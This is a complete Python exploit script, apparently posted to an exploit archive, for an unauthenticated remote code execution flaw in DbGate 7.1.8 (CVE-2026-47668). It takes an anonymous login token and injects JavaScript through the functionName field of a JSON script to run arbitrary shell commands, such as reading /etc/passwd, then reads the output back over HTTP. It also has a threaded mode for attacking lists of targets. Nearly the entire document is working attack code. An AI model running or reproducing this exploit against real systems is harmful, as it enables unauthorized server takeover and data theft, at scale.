📄 DbGate 7.1.8 Remote Code Execution

#!/usr/bin/env python3
    """
    CVE-2026-47668 - DbGate unauthenticated RCE via JSON script runner code injection
    Affected: DbGate <= 7.1.8 (dbgate-serve / dbgate/dbgate Docker image). Fixed in 7.1.9.
    Type: RCE (server-side JavaScript code injection -> OS command execution)
    
    Root cause:
      DbGate's JSON script runner (POST /runners/start) transpiles a declarative JSON
      script into JavaScript source with raw string concatenation. The `functionName`
      of an `assign` command is pasted straight after `dbgateApi.` with no validation
      (compileShellApiFunctionName). A value shaped like
          x;<INJECTED JS>;//
      terminates the intended member expression, runs arbitrary JS, and comments out
      the trailing call the writer appends. The generated file is forked with a full
      Node.js runtime as root. The JSON branch skips the run-shell-script permission
      and the allowShellScripting gate that protect the raw-JS branch, and the default
      anonymous auth provider hands out a JWT to anyone, so no credentials are needed.
    
    Evidence channel (fully in-band, no egress required):
      The child forks with cwd = <rundir>/<runid>, and main.js serves that directory
      statically at /runners/data/<runid>/. Redirect command output into a relative
      file (out.txt) and read it back over HTTP.
    
    Usage:
      python exploit.py --host 127.0.0.1 --port 13008
      python exploit.py --host 127.0.0.1 --port 13008 --command "cat /etc/passwd"
      python exploit.py --host https://dbgate.corp.com
      python exploit.py --host https://dbgate.corp.com:8443/dbgate --command "id"
      python exploit.py --list targets.txt --workers 20
    """
    
    import argparse
    import base64
    import json
    import sys
    import time
    import uuid
    from urllib.parse import urlparse
    
    try:
        import requests
        from requests.packages.urllib3.exceptions import InsecureRequestWarning
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    except ImportError:
        print("This exploit requires the 'requests' library: pip install requests")
        sys.exit(2)
    
    CVE_ID    = "CVE-2026-47668"
    VULN_TYPE = "RCE"
    
    DEFAULT_PORT = 3000
    HTTP_TIMEOUT = 15
    POLL_SECONDS = 6
    
    
    # --------------------------------------------------------------------------- #
    #  Standard ALIM output helpers                                               #
    # --------------------------------------------------------------------------- #
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  Core exploit logic (shared by single-target and scan mode)                 #
    # --------------------------------------------------------------------------- #
    def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
        scheme = "https" if use_tls else "http"
        base = f"{scheme}://{host}:{port}"
        prefix = path.rstrip("/")
        if prefix in ("", "/"):
            return base
        if not prefix.startswith("/"):
            prefix = "/" + prefix
        return base + prefix
    
    
    def _login(sess: requests.Session, base: str) -> str:
        """
        Obtain a Bearer token from the default anonymous auth provider.
        POST /auth/login {"amoid":"none"} -> {"accessToken":"..."}.
        Returns "" when the instance is not using the anonymous provider or when
        auth is disabled entirely (in which case no token is needed).
        """
        try:
            r = sess.post(f"{base}/auth/login",
                          json={"amoid": "none"},
                          timeout=HTTP_TIMEOUT, verify=False)
        except requests.RequestException:
            return ""
        try:
            data = r.json()
        except ValueError:
            return ""
        # Handle several documented response shapes.
        for key in ("accessToken", "access_token", "token"):
            if isinstance(data, dict) and data.get(key):
                return str(data[key])
        if isinstance(data, dict):
            inner = data.get("data") or data.get("result")
            if isinstance(inner, dict):
                for key in ("accessToken", "access_token", "token"):
                    if inner.get(key):
                        return str(inner[key])
        return ""
    
    
    def _build_body(command: str) -> dict:
        """
        Build the JSON-script request body. The shell command is base64-encoded and
        decoded target-side, which removes all quote-escaping concerns. Output is
        redirected into the run directory's out.txt so it is retrievable over HTTP.
        """
        b64 = base64.b64encode(command.encode()).decode()
        node_js = (
            "process.mainModule.require('child_process')"
            ".execSync(\"echo %s|base64 -d|sh > out.txt 2>&1\")" % b64
        )
        function_name = "x;%s;//" % node_js
        return {
            "script": {
                "type": "json",
                "packageNames": [],
                "commands": [
                    {
                        "type": "assign",
                        "variableName": "x",
                        "functionName": function_name,
                        "props": {},
                    }
                ],
            }
        }
    
    
    def _auth_headers(token: str) -> dict:
        return {"Authorization": f"Bearer {token}"} if token else {}
    
    
    def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                     command: str = "id") -> tuple:
        """
        Silent probe for --list scan mode. Returns (success, evidence).
        Never prints and never calls sys.exit().
        """
        base = _base_url(host, port, use_tls, path)
        sess = requests.Session()
        marker = uuid.uuid4().hex[:12]
        probe_cmd = "%s; echo ALIM_%s" % (command, marker)
        try:
            token = _login(sess, base)
            body = _build_body(probe_cmd)
            r = sess.post(f"{base}/runners/start", json=body,
                          headers=_auth_headers(token),
                          timeout=HTTP_TIMEOUT, verify=False)
            if r.status_code == 500 and "Invalid functionName" in r.text:
                return False, "blocked - Invalid functionName (patched 7.1.9+)"
            if r.status_code == 401:
                return False, "auth required - anonymous provider disabled"
            try:
                runid = r.json().get("runid")
            except ValueError:
                runid = None
            if not runid:
                snippet = r.text[:120].replace("\n", " ")
                return False, f"no runid (HTTP {r.status_code}): {snippet}"
    
            deadline = time.time() + POLL_SECONDS
            while time.time() < deadline:
                g = sess.get(f"{base}/runners/data/{runid}/out.txt",
                             headers=_auth_headers(token),
                             timeout=HTTP_TIMEOUT, verify=False)
                if g.status_code == 200 and ("ALIM_%s" % marker) in g.text:
                    out = g.text.strip().splitlines()
                    first = out[0] if out else ""
                    return True, f"RCE - '{command}' -> {first[:80]}"
                time.sleep(0.5)
            return False, f"payload dispatched (runid {runid}) but no output - may not have executed"
        except requests.RequestException as e:
            return False, f"unreachable ({e.__class__.__name__})"
    
    
    # --------------------------------------------------------------------------- #
    #  Single-target verbose exploit                                              #
    # --------------------------------------------------------------------------- #
    def exploit(host: str, port: int, use_tls: bool, path: str, command: str) -> None:
        header(host, port)
        base = _base_url(host, port, use_tls, path)
        sess = requests.Session()
    
        step(1, "Confirming the auth middleware is active (POST /runners/start, no token)...")
        try:
            pre = sess.post(f"{base}/runners/start", json={"script": {"type": "json", "commands": []}},
                            timeout=HTTP_TIMEOUT, verify=False)
            section("UNAUTHENTICATED PROBE", f"HTTP {pre.status_code}: {pre.text[:120]}")
        except requests.RequestException as e:
            done(False, f"target unreachable at {base} ({e.__class__.__name__})")
    
        step(2, "Requesting a Bearer token from the anonymous auth provider...")
        token = _login(sess, base)
        if token:
            section("ACCESS TOKEN", token[:48] + "..." if len(token) > 48 else token)
        else:
            print("    No token from /auth/login - continuing unauthenticated "
                  "(instance may run with auth disabled).")
    
        step(3, "Sending the malicious JSON script (functionName code injection)...")
        marker = uuid.uuid4().hex[:12]
        probe_cmd = "%s; echo ALIM_%s" % (command, marker)
        body = _build_body(probe_cmd)
        section("INJECTED functionName", body["script"]["commands"][0]["functionName"])
        try:
            r = sess.post(f"{base}/runners/start", json=body,
                          headers=_auth_headers(token),
                          timeout=HTTP_TIMEOUT, verify=False)
        except requests.RequestException as e:
            done(False, f"request to /runners/start failed ({e.__class__.__name__})")
    
        if r.status_code == 500 and "Invalid functionName" in r.text:
            section("SERVER RESPONSE", r.text)
            done(False, "Payload rejected by assertValidShellApiFunctionName - target is patched (>= 7.1.9)")
        if r.status_code == 401:
            section("SERVER RESPONSE", r.text)
            done(False, "401 - anonymous auth provider disabled; supply valid credentials")
    
        try:
            runid = r.json().get("runid")
        except ValueError:
            runid = None
        if not runid:
            section("SERVER RESPONSE", r.text)
            done(False, f"No runid returned (HTTP {r.status_code}) - payload not accepted")
        section("RUNNER DISPATCHED", f"runid = {runid}")
    
        step(4, f"Reading command output from /runners/data/{runid}/out.txt ...")
        deadline = time.time() + POLL_SECONDS
        output = None
        while time.time() < deadline:
            g = sess.get(f"{base}/runners/data/{runid}/out.txt",
                         headers=_auth_headers(token),
                         timeout=HTTP_TIMEOUT, verify=False)
            if g.status_code == 200 and ("ALIM_%s" % marker) in g.text:
                output = g.text
                break
            time.sleep(0.5)
    
        if output is None:
            done(False, f"Payload dispatched (runid {runid}) but no output appeared - "
                        "target may be patched or the command produced no file")
    
        cleaned = "\n".join(l for l in output.splitlines() if ("ALIM_%s" % marker) not in l).strip()
        section("COMMAND OUTPUT", cleaned if cleaned else output.strip())
        first_line = cleaned.splitlines()[0] if cleaned.splitlines() else output.strip()
        done(True, f"RCE confirmed - command '{command}' output: {first_line[:120]}")
    
    
    # --------------------------------------------------------------------------- #
    #  Scan mode (--list)                                                         #
    # --------------------------------------------------------------------------- #
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """Parse one target line into (host, port, use_tls, path). None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line and not line.count(":") > 1:  # host:port (skip bare IPv6)
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int, command: str) -> None:
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}{path if path != '/' else ''}"
            ok, evidence = _try_exploit(host, port, use_tls, path, command)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - "
                      f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / "
              f"{total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  Entry point                                                                #
    # --------------------------------------------------------------------------- #
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC - DbGate unauthenticated RCE")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/path)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=DEFAULT_PORT, help=f"Default port (default: {DEFAULT_PORT})")
        parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
        else:
            parsed = _parse_target(args.host, args.port)
            if parsed:
                host, port, use_tls, path = parsed
            else:
                host, port, use_tls, path = args.host, args.port, False, "/"
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, args.command)